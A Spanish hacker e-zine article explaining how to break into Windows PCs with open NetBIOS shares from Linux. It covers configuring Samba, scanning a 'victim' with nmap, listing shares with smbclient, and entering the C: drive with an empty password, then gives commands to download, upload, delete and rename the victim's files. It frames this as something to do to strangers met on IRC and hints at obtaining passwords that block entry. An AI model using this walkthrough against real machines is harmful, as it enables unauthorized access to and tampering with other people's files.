0x05: Explotando NetBIOS desde Linux
DrAk0
www.hven.com.ve
Bueno gente aqui va mi primer articulo para el e-zine asi que me disculpan lo sencillo que pueda estar pero argo si les digo, FUNCIONA MUY BIEN ;) y eso es lo importante...
Este doc lo hago porque mas de una vez estaba en un canal de IRC chateando de lo mas normal y me decian: "¿pana estas en windows?". ¿para que? -decia yo- Para que te metas en tal pc porque yo estoy en Linux, el tiene el 139 abierto .... -entonces yo decia- , ¿pero que? ¿desde linux no se puede?... ≠y saben que!. SI, si se puede y eso es lo que vamos a hacer ahora mismo :-).
Lo primero que debemos tener es bien configurado nuestro /etc/smb.conf. Bueno la idea es que lo podamos entrar en esa maquina ya asi que les pongo un modelo de smb.conf aqui, pero les recomiendo que se lean el SAMBA-HOWTO para que lo pongan al pelo a su preferencia...
----CUT----
[global]
workgroup = erguamache.com
server string = Linux Power >;)
; hosts allow = 192.168.1. 192.168.2. 127.
log file = /var/log/samba.%m
max log size = 50
security = user
; password server = <NT-Server-Name>
; encrypt passwords = yes
; include = /usr/local/samba/lib/smb.conf.%m
socket options = TCP_NODELAY
; interfaces = 192.168.12.2/24 192.168.13.2/24
; local master = no
; os level = 33
; domain master = yes
; preferred master = yes
; domain controller = <NT-Domain-Controller-SMBName>
; domain logons = yes
; logon script = %m.bat
; logon script = %U.bat
; logon path = \\%L\Profiles\%U
; wins support = yes
; wins server = w.x.y.z
; wins proxy = yes
dns proxy = no
[homes]
comment = Home Directories
browseable = no
writable = yes
; [netlogon]
; comment = Network Logon Service
; path = /usr/local/samba/lib/netlogon
; guest ok = yes
; writable = no
; share modes = no
guest ok = no
writable = no
printable = yes
;[tmp]
; comment = Temporary file space
; path = /tmp
; read only = no
; public = yes
;[public]
; comment = Public Stuff
; path = /home/samba
; public = yes
; writable = yes
; printable = no
; write list = @staff
;[fredsprn]
; comment = Fred's Printer
; valid users = fred
; path = /homes/fred
; printer = freds_printer
; public = no
; writable = no
; printable = yes
;[fredsdir]
; comment = Fred's Service
; path = /usr/somewhere/private
; valid users = fred
; public = no
; writable = yes
; printable = no
;[pchome]
; comment = PC Directories
; path = /usr/pc/%m
; public = no
; writable = yes
;[public]
; path = /usr/somewhere/else/public
; public = yes
; only guest = yes
; writable = yes
;[myshare]
; comment = Mary's and Fred's stuff
; path = /usr/somewhere/shared
; valid users = mary fred
; public = no
; writable = yes
; printable = no
; create mask = 0765
----CUT----
Si crees que no tienes bien tu smb.conf comparalo con este si no, bueno ya sabes, cut paste, OJO aqui si piensas poner a funcionar el smb.conf para tu red pues este no te va a servir, bueno por lo menos las impresoras...
Ya sabes SAMBA-HOWTO contigo... bueno una vez teniendo en smb.conf en buen estado pues buscamos a ver si tenemos el smbclient que va a ser nuestra arma, probamos de la siguiente manera...
Escribimos esto en una shell:
---------------------
linuxserver:~# smbclient -L 1
Added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0
error connecting to 0.0.0.1:139 (Network is unreachable)
Connection to 1 failed
linuxserver:~#
---------------------
Si esto nos aparece, estamos listos, si no bueno ve buscando en internet el smbclient a ver si lo encuentras ;)...
Bueno ahora si ya que sabemos que tenemos todo lo que necesitamos, manos a la obra. Ok.
- Por supuesto tener la IP de la PC a la cual queremos entrar
- Anadimos esa IP a nuestro archivo /etc/hosts de la siguiente manera pueden usar cualquier editor de texto mi preferencia es vi.
anadimos asi:
----
127.0.0.1 localhost
192.168.1.1 linuxserver.sagitario.org linuxserver
xxx.xxx.xxx.xx el.dominio.loquesea sualiasqui
#ejemplo real
192.168.1.2 resp.sagitario.org resp
----
Ojo... el dominio lo podemos agarrar de la la siguiente manera, usando nuestro querido amigo NMAP haciendole un scan a nuestra IP amiga ;)
Asi de esta forma:
---
linuxserver:~# nmap -sS -O 192.168.1.2
Starting nmap V. 2.02 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on resp.sagitario.org (192.168.1.2):
Port State Protocol Service
139 open tcp netbios-ssn
TCP Sequence Prediction: Class=trivial time dependency
Difficulty=1 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98
Nmap run completed -- 1 IP address (1 host up) scanned in 11 seconds
linuxserver:~#
---
Como podemos ver en la segunda linea nos aparece el dominio que buscamos Interesting ports on -->resp.sagitario.org<--- (192.168.1.2): y asi vemos que efectivamente tiene su netbios abiertico solo para nosotros Bueno eso esperamos.
3.- Una vez teniendo el archivo /etc/hosts definido con la ip que queremos probamos si esta correcto de la siguiente forma:
ping resp (es decir ping elalias ;))
Deberiamos obtener algo como esto:
---
linuxserver:~# ping resp
PING victima.sagitario.org (192.168.1.1): 56 data bytes
64 bytes from 192.168.1.1: icmp_seq=0 ttl=255 time=0.7 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=0.5 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=0.5 ms
---
Bueno si nos sale esto ya estamos seguro que la victima esta alli y la tenemos en la mira jeje...
4.- Ahora nos toca ver que es lo que esta compartiendo esa maquina que queremos agarrar haciendo lo siguiente.
smbclient -L aliasvictima
Esto nos dira que comparte la victima.
Al principio nos pedira un password y le daremos enter, eso no nos detiene.
---
linuxserver:~# smbclient -L resp
Added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0
Password:
Sharename Type Comment
--------- ---- -------
C Disk
IPC$ IPC Comunicacion remota entre procesos
Server Comment
--------- -------
Workgroup Master
--------- -------
linuxserver:~#
---
Aqui vemos que comparte C: justamente lo que estabamos buscando >;)
Lo unico que tenemos que ligar ahora es que no tenga password, y si lo tiene nos judimus, pero si tenemos ese pass lo podemos usar .
Bueno esperemos que no tenga pass... Si es asi lo que nos que hacer es probarlo tratando de entrar haciendo esto:
smbclient \\\\lamaquina\\elrecurso
En este caso la maquina es resp y el recurso es C como lo mostre anteriormente:
---
linuxserver:~# smbclient \\\\resp\\c
Added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0
Password:
---
En este punto nos pide un password, pues todavia tenemos esperanzas si esta maquina no tiene asegurado su recurso con password (lo cual es un error fatal) bastara con darle un simple enter y deberiamos estar adentro.
---
linuxserver:~# smbclient \\\\resp\\c
Added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0
Password:[enteraqui]
smb: \>
---
Este prompt "smb: \>" nos quiere decir que ESTAMOS ADENTRO SI!!! lo penetramos. YEAH!!
Y si no es que tiene un pass, y si lo tenemos solo se lo ponemos cuando lo pida, y si no lo tienes busca como agarrarlo ;).
...........
Bueno ya adentro.
En este prompt "smb: \>" bastara con darles los comandos que nos interesen.
Aqui les anexo los comandos que mas usaremos, si quieres mas pues busca ;):
- ls = listar los archivos y directorios
- get = traer un archivo de esa maquina
- put = subir (meter) un archivo para esa maquina
- rm = borrar archivo
- rename = renombrar
- pwd = saber en que carpeta estas
- mkdir = crear carpeta
- rmdir = borrar carpeta
- h = ayuda (muy importante jejejeje)
Bueno con eso les dejo las herramientas para que puedan seguir disfrutando del poder de LINUX y no tener que pasarte para win para explotar el Netbios.
Espero que les sirva de algo, pues a mi si que me servido...
Y queria darle las gracias al pana Supreme, pues el es el que me ha empujado y me ha ayudado estimulandome con Linux y el hack desde el principio, jeje cuando era mas lamer que Bilo puf que horrible... pero bueno gracias a Dios que ya sali de alli, tambien ar pana Combel, por sus asesorias y consejos. Y tambien las gracias der pana [C]apon[E] por toda su colaboracion y por permitir que lo penetrara, juy (su maquina) no jeje para todas estas pruebas... bueno se despide..
DrAk0 der Valle
DrAk0@unete.com
ICQ UIN# 52211219
Linux.Counter.
# 158165.